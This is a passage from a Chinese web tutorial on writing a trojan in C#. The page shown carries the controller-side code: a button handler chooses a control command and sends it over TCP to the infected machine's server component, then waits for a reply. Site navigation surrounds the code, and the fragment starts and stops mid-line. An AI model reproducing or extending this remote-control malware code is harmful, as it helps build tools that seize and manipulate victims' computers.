| 用C#实现木马程序(分析) |
|
| 作者:未知 文章来源:网络收集 点击数: 更新时间:2006-3-8 22:24:58
|
sp; catch(Exception ee) { richTextBox1.AppendText (ee.Message+"\r"); MessageBox.Show(ee.Message); } } 3控制生效的代码 private void button9_Click(object sender, System.EventArgs e) { //这里是确定要发送的控制码,RadioButton是窗体控件 if(radioButton1.Checked){ control = form2.zhucex;} else if(radioButton2.Checked){ control =form3.zhuces;} else if(radioButton3.Checked){ control = warring;} else if(radioButton4.Checked){ control =suggest;} else if(radioButton5.Checked){ control =form4.mumawe;} else if(radioButton6.Checked){ control =drop;} if (control =="000000") { MessageBox.Show("你没有输入任何控制目标!不发控制信号"); richTextBox1.AppendText("你没有输入任何控制目标!不发控制信号"); } else if(control != "000000") { try { //记录操作 richTextBox1.AppendText (control + "正在试图控制,等待回应......" + "\r"); stream = client.GetStream(); if(stream.CanWrite ) { byte[] by = System.Text.Encoding.ASCII.GetBytes(control.ToCharArray ()); stream.Write(by,0,by.Length); stream.Flush(); threadReceive =new Thread(new ThreadStart(receive)); threadReceive.Start(); }//endif }//try catch { richTextBox1.AppendText("服务器未连接1控制无效!" +"\r"); MessageBox.Show("服务器未连接1控制无效!" +"\r"); &n上一页 [1] [2] [3] [4] [5] 下一页
|
|
[ 收藏此页到: 天天|和讯|博采|ViVi|狐摘|我摘|天极 ] 文章录入:kinda 责任编辑:kinda |
|
上一篇文章: 如何对ListView的项进行排序 下一篇文章: Effective C# 5: 警惕隐式box和unbox操作对程序性能的影响 |
| 【字体:小 大】【发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口】 |